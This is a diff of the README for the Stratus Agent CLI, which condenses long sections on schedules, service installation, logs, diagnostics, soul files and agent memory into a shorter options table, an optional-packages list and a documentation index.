693
-
694
- ```bash
695
- stratus schedules # every agent's schedules, straight from the daemon's database
696
- stratus schedules cancel <id> # stop the next firing; the destination grant dies with the row
697
- ```
698
-
699
- Cancelling — from the CLI, the control API (`DELETE /schedules/:id`), or the
700
- agent's own `schedule.cancel` — revokes the pre-authorized destination in the
701
- same stroke, and a running daemon notices without a restart. The daemon log
702
- records that a schedule was created, fired, or cancelled (ids and
703
- destinations, never prompt contents beyond the row itself).
704
-
705
- ## Always on
706
-
707
- `stratus serve` stays a foreground process on purpose — debuggable, and
708
- composable with whatever supervisor you already run. Surviving logout, crashes,
709
- and reboots is the platform's job, so `stratus service` hands the daemon to
710
- launchd on macOS and to systemd on Linux:
711
-
712
- ```bash
713
- stratus service install # write the unit, start now, start at every login
714
- stratus service install --no-login
715
- stratus service status
716
- stratus service start
717
- stratus service stop
718
- stratus service uninstall
719
- ```
720
-
721
- `stratus setup` installs it for you at Save & finish unless you opt out, so
722
- most people never run these by hand. What they get:
723
-
724
- - **macOS** — a LaunchAgent at `~/Library/LaunchAgents/com.stratusagent.stratusd.plist`
725
- - **Linux** — a systemd user unit at `~/.config/systemd/user/stratusd.service`
726
-
727
- The unit runs the daemon by **absolute path** — the node binary and script of
728
- the process that installed it, never a bare `stratus`. A service manager starts
729
- with a minimal environment and never loads the shell profile that puts `stratus`
730
- on your `PATH`. It stops with SIGTERM, so the gateway's drain actually runs.
731
-
732
- A default install restarts the daemon if it crashes, but not after a clean
733
- exit — stopping it yourself keeps it stopped. **`--no-login` gives up crash
734
- restarts on macOS**, and that is launchd's rule rather than a choice: `KeepAlive`
735
- implies `RunAtLoad`, so a job that must not start at login cannot ask to be
736
- revived either. `stratus service install --no-login` says so when it finishes.
737
- On Linux the two are independent, and `Restart=on-failure` applies either way.
738
-
739
- `status` asks the service manager, not the unit file, whether the daemon is
740
- alive, and exits non-zero when it isn't — so it works in a health check:
741
-
742
- ```text
743
- stratusd running
744
- manager launchd
745
- unit ~/Library/LaunchAgents/com.stratusagent.stratusd.plist
746
- at login yes
747
- ```
748
-
749
- **One limit worth knowing before you rely on it.** A LaunchAgent starts at
750
- **login, not at power-on**, and only while that user is logged in — an
751
- unattended Mac needs automatic login turned on too. (A `LaunchDaemon` would
752
- start without a login, but it runs as a system user, which breaks `~/.stratus`
753
- paths and the Claude subscription token entirely, so the LaunchAgent is the
754
- right choice.) The systemd equivalent is `loginctl enable-linger` on a machine
755
- you don't stay logged in to. Setup says both in the menu rather than leaving
756
- them to be discovered after a reboot.
757
-
758
- ## Logs
759
-
760
- Under a service manager the daemon's stdout is gone, so everything `stratus
761
- serve` says is also written to `~/.stratus/logs/stratusd.jsonl` (owner-read-only,
762
- rotated at 8 MB, three generations kept). That file is the record of an
763
- overnight run, and `stratus logs` reads it from any terminal:
764
-
765
- ```bash
766
- stratus logs # the last 50 records
767
- stratus logs -f # follow, across rotations
768
- stratus logs -n 200
769
- stratus logs --agent ava
770
- stratus logs --session slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456
771
- stratus logs --format json # the raw records, for jq
772
- ```
773
-
774
- ```text
775
- 09:14:02 — stratusd ready — 3 agents, slack connected
776
- 09:14:31 ava session.created [slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456]
777
- 09:14:36 ava tool.completed tool=memory.remember ok=true [slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456]
778
- 09:21:07 — warning: anthropic returned 529; retrying on the fallback model
779
- ```
780
-
781
- Session ids are the channel's own key — `channel:agent:team:conversation[:thread]`
782
- — so the id in the last column is exactly what `--session` wants, and the same
783
- conversation keeps it across daemon restarts.
784
-
785
- The log is a **trace, not a second transcript**: it records that a tool ran and
786
- that a session completed, with the tool's name, the agent, and the session id.
787
- Prompts, replies, and tool inputs are not written — what was said lives in the
788
- session store instead. A memory write or forget also records the **entry id**
789
- it touched (never the fact itself), so "when did the agent learn this" has an
790
- answer.
791
-
792
- One exception worth knowing before you paste a log anywhere. A failed session
793
- records the **provider's error text verbatim**, and providers routinely quote
794
- the request that failed — so a malformed prompt can end up inside an error
795
- message. Skim a log before sharing it, and prefer `--agent` or `--session` to
796
- narrow it to the run you actually mean.
797
-
798
- ### When the log is empty
799
-
800
- A daemon that fails *before* it starts serving — a broken install, an
801
- unreadable credentials file — never gets as far as opening the structured log,
802
- so `stratus logs` shows nothing or shows yesterday. Those errors go to stderr,
803
- and where stderr lands is the service manager's business, so it differs by
804
- platform:
805
-
806
- ```bash
807
- tail ~/.stratus/logs/stratusd.err.log # macOS
808
- journalctl --user-unit=stratusd.service # Linux
809
- ```
810
-
811
- That is where a restart loop explains itself. On macOS the LaunchAgent redirects
812
- both streams to files, so Stratus truncates them when `serve` starts and every
813
- five minutes while it runs — a crash loop cannot fill the disk with the same
814
- error a million times. On Linux systemd keeps the same output in the journal
815
- instead, which does its own rotation, so there is nothing beside the JSONL to
816
- bound and nothing to clean up.
817
-
818
- ## When something looks off
819
-
820
- `stratus doctor` answers one question — *what would a run use right now, and
821
- who decided that?* Every setting is shown with the file or environment variable
822
- it came from, because the answer is usually that something outranks what you
823
- thought you configured:
824
-
825
- ```bash
826
- stratus doctor
827
- stratus doctor --format json
828
- ```
829
-
830
- ```text
831
- Stratus Agent — what a run would use right now
832
-
833
- provider anthropic
834
- from ~/.stratus/agents/ava.md (soul frontmatter)
835
- model claude-opus-5
836
- from ~/.stratus/agents/ava.md (soul frontmatter)
837
- soul ~/.stratus/agents/ava.md
838
- from ~/.stratus/config.json
839
- agent Ava (ava)
840
-
841
- Files
842
- config ~/.stratus/config.json
843
- agents 1 soul file
844
-
845
- Sign-ins
846
- anthropic Claude subscription (Pro/Max) — runs go through the Claude Code runtime
847
- openai not signed in
848
-
849
- Channels
850
- slack no agents connected
851
- @stratusagent/channel-slack installed
852
-
853
- 1 problem found:
854
- ! A fallback model (gpt-4.1-mini) is configured but could not be resolved — usually
855
- no sign-in for its provider. A failing primary model has nothing to retry on.
856
- ```
857
-
858
- It resolves the config exactly the way a run does rather than re-deriving the
859
- rules, so what it prints is what you would get. It exits non-zero when it finds
860
- a problem, and it is the fastest answer to the two most common surprises: a run
861
- that turns out to be on the `demo` provider, and an `ANTHROPIC_API_KEY` in the
862
- environment quietly demoting a Claude subscription sign-in to per-token billing.
863
-
864
- ## Agents are people
865
-
866
- An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool and skill allowlists) and prose for the personality:
867
-
868
- ```markdown
869
- ---
870
- name: Ava
871
- provider: anthropic
872
- model: claude-opus-5
873
- tools:
874
- - demo.echo
875
- - memory.*
876
- skills:
877
- - code-review
878
- ---
879
-
880
- You are a sharp, warm generalist. Answer first, explain second...
881
- ```
882
-
883
- Agents remember: facts saved with the built-in `memory.remember` tool persist
884
- to `~/.stratus/memory.jsonl`, keyed to the agent — so the Ava you talk to
885
- tomorrow remembers today, from any directory. Recall is something the agent
886
- does, not only something done to it: the system prompt carries the most
887
- recent facts (up to 20, within a byte budget), and everything older is
888
- reachable through `memory.recall`, a full-text search over the agent's own
889
- store — plain words in, matching facts out, newest first; a query like `C++`
890
- or an unmatched quote is a search, never an error. `memory.forget` retires a
891
- fact by id: it stops reaching prompts and recall, but stays in the file as a
892
- tombstone line, so you can still see what an agent chose to drop. A single
893
- fact is capped at 4 KiB — an oversized `memory.remember` is refused outright
894
- rather than stored truncated.
895
-
896
- One thing to check on souls written before recall existed: a `tools:`
897
- allowlist naming exactly `memory.remember` lets the agent keep saving facts
898
- but not search them, and with the prompt now carrying only the recent slice,
899
- its older memories are out of reach. Add `memory.recall` and `memory.forget`
900
- — or just `memory.*`, as the example above does. A soul with no `tools:`
901
- list is unaffected; omitted means every registered tool.
902
-
903
- The JSONL is the record and you may edit it: add a line by hand and it is
904
- recallable; fix a typo and nothing goes stale. Search is served from a
905
- derived FTS index the CLI writes alongside, `~/.stratus/memory.jsonl.index`
906
- — safe to delete at any time, it is rebuilt from the JSONL on the next
907
- recall.
908
-
909
- **Ids are not labels.** Frontmatter may set `id:` explicitly, and it keys the
910
- agent's sessions, memory, credentials, Slack tokens, and every per-agent path
911
- on disk. So it has to stay one path segment, and one ordinary map key: an id
912
- may not start with a dot or contain a slash, a backslash, a control
913
- character, or leading or trailing whitespace, and it may not be a name every
914
- object already answers to (`__proto__`, `constructor`, `toString`). Anything that would leave its directory is rejected when the soul
915
- loads rather than quietly cleaned up — `id: ../../escape` is refused, not
916
- rewritten to `escape`.
917
-
918
- Anything else is yours. An id like `Ava_1` or `team.alpha` is unusual but
919
- harmless, and it is already keying that agent's sessions and sign-ins, so it
920
- is left exactly as written. Omit `id:` and one is derived from the name as a
921
- plain slug (`ava`); a generated agent's id is also capped at 64 characters,
922
- but a slug derived from a name you chose is used whole, because shortening
923
- an id moves the agent it belongs to.
924
-
925
- Creating an agent checks the id against every id the served roster holds,
926
- not against the filenames on disk: what the roster files *declare* (a soul
927
- at `renamed.md` can declare `id: ava`), the configured default soul even
928
- when its file lives elsewhere, and the reserved `stratus`. A new agent gets
929
- a suffixed id (`ava-3f9c`) rather than one that would collide. Its name
930
- stays the one you chose.
931
-
932
- **Two souls cannot share an id.** That is not two agents; it is one agent
933
- whose memory and sign-ins belong to whichever file sorted first. The roster
934
- refuses to load and names both files, `stratus serve` will not start,
935
- `stratus doctor` reports it, and `stratus setup` → Channels offers no
936
- agents at all — nothing is servable while the roster is ambiguous, so
937
- connecting a Slack app would configure something that cannot run. Neither
938
- command offers to clear "unmatched" Slack tokens in that state either: a
939
- roster that would not load cannot prove which ids are missing, and the
940
- tokens at risk belong to agents that are perfectly fine. (An unreadable *single* soul still degrades to a
941
- warning — one broken file never takes the team down. A collision has no
942
- correct winner, which is the difference.) The built-in `stratus` id is
943
- reserved: souls claiming it are skipped — including two of them, since
944
- neither was going to get the id, so their agreeing on it is not a collision
945
- to refuse over.
52
+ Full reference with every subcommand:
53
+ [CLI reference](https://github.com/stratuslabs/agent/blob/main/docs/reference/cli.md).
946
54
 
947
55
  ## Options
948
56
 
949
57
  | Flag | Purpose |
950
58
  | --- | --- |
951
59
  | `--soul <file>` | Run as the agent defined by a soul file (also `STRATUS_SOUL` / config `soul` key) |
952
- | `--provider` | `anthropic`, `openai`, or `demo` (offline, no account) |
953
- | `--model` | Model for real providers (anthropic default: `claude-opus-5`) |
60
+ | `--provider` | `anthropic`, `openai`, `codex`, or `demo` (offline, no account) |
61
+ | `--model` | Model for real providers (anthropic default: `claude-opus-5`, codex default: `gpt-5.5`) |
954
62
  | `--base-url` | Override the provider API base URL |
955
63
  | `--config <file>` | Load settings from a specific config file |
956
- | `--approvals` | `run`/`chat`: tool approval mode — `always`, `ask`, or `never`. `serve`: how the daemon reaches a human — `headless` (refuse gated calls) or `remote` (ask in Slack); overrides the config's `approvals.mode` |
64
+ | `--approvals` | `run`/`chat`: `always`, `ask`, or `never`. `serve`: `headless` (refuse gated calls) or `remote` (ask in Slack) |
957
65
  | `--max-turns` | Max provider turns per run (default 8) |
958
66
  | `--format` | `text` or `json` |
959
- | `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
67
+ | `--idle-timeout` | `serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
960
68
  | `--no-events` | Hide the event log |
961
- | `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
962
- | `--no-api` | `stratus serve`: do not serve the control API |
963
- | `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
964
- | `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
965
- | `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
966
- | `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
967
- | `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
968
- | `--no-login` | `stratus service install`: install without the start-at-login trigger |
969
- | `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
970
- | `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
971
- | `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
69
+ | `--no-log-file` | `serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
70
+ | `--no-api` | `serve`: do not serve the control API |
71
+ | `--api-host`, `--api-port` | `serve`: control API bind (default `127.0.0.1:4123`) |
72
+ | `--gateway <url>`, `--token` | `agents`: read the roster from a running daemon's control API |
73
+ | `--port`, `--host`, `--no-open` | `dashboard`: where a daemon it starts should bind; skip opening the browser |
74
+ | `--no-login` | `service install`: install without the start-at-login trigger |
75
+ | `-f`, `-n`, `--agent`, `--session` | `logs`: follow, backlog size, and filters |
76
+
77
+ Precedence: flags → `STRATUS_*` env vars → soul file hints → config file.
78
+ Project-local `stratus.config.json` outranks the global
79
+ `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent
80
+ to endpoints a project config selects. Details:
81
+ [Configuration](https://github.com/stratuslabs/agent/blob/main/docs/reference/config.md).
82
+
83
+ ## Optional packages
84
+
85
+ Out of the box an agent can already echo, remember, recall, delegate, and
86
+ (in the daemon) schedule. Everything beyond that — a transport, real-world
87
+ tools, an open port — is a separate package you add only when you want it,
88
+ and `stratus setup` offers the ones your answers imply:
972
89
 
973
- Tool plugins have no flags: what is installed is a config decision (`plugins`
974
- in a trusted config) and what an agent may call is a soul decision (`tools:`).
975
- Neither is something a single run should be able to widen from the command
976
- line.
90
+ ```bash
91
+ npm install -g @stratusagent/channel-slack # agents in Slack
92
+ npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
93
+ @stratusagent/tool-web @stratusagent/tool-browser # real capability
94
+ npm install -g @stratusagent/plugin-mcp # mount MCP servers
95
+ npm install -g @stratusagent/control-api @stratusagent/dashboard # HTTP API + web UI
96
+ ```
977
97
 
978
- Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
98
+ A tool or MCP plugin runs nothing by being installed — a config you chose
99
+ enables it, then each agent's soul allowlists its tools. The two surfaces
100
+ switch on differently, on purpose: the Slack channel connects when an
101
+ agent's stored tokens say so, and installing the control API is itself the
102
+ decision to open an authenticated local port (`--no-api` takes it back).
103
+ The reasoning:
104
+ [the plugin trust model](https://github.com/stratuslabs/agent/blob/main/docs/concepts/plugins.md).
979
105
 
980
- Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
106
+ ## Learn more
981
107
 
982
- Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.
108
+ | I want to… | Read |
109
+ | --- | --- |
110
+ | Put my agents in Slack | [Slack](https://github.com/stratuslabs/agent/blob/main/docs/guides/slack.md) |
111
+ | Give agents files, a shell, the web, a browser | [Tools](https://github.com/stratuslabs/agent/blob/main/docs/guides/tools.md) |
112
+ | Decide what runs unattended, approve the rest from Slack | [Approvals](https://github.com/stratuslabs/agent/blob/main/docs/guides/approvals.md) |
113
+ | Let agents act on their own schedule | [Schedules](https://github.com/stratuslabs/agent/blob/main/docs/guides/schedules.md) |
114
+ | Teach an agent a procedure | [Skills](https://github.com/stratuslabs/agent/blob/main/docs/guides/skills.md) |
115
+ | Run it as a service, read its logs, upgrade it | [Always on](https://github.com/stratuslabs/agent/blob/main/docs/guides/always-on.md) · [Logs](https://github.com/stratuslabs/agent/blob/main/docs/guides/logs.md) · [Updating](https://github.com/stratuslabs/agent/blob/main/docs/guides/updating.md) |
116
+ | Understand souls, ids, and memory | [Agents](https://github.com/stratuslabs/agent/blob/main/docs/concepts/agents.md) · [Memory](https://github.com/stratuslabs/agent/blob/main/docs/concepts/memory.md) |
117
+ | Fix a surprise | [Troubleshooting](https://github.com/stratuslabs/agent/blob/main/docs/guides/troubleshooting.md) |
118
+
119
+ The full index: [docs](https://github.com/stratuslabs/agent/blob/main/docs/README.md).
120
+
121
+ Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny
122
+ TypeScript agent runtime, MIT licensed.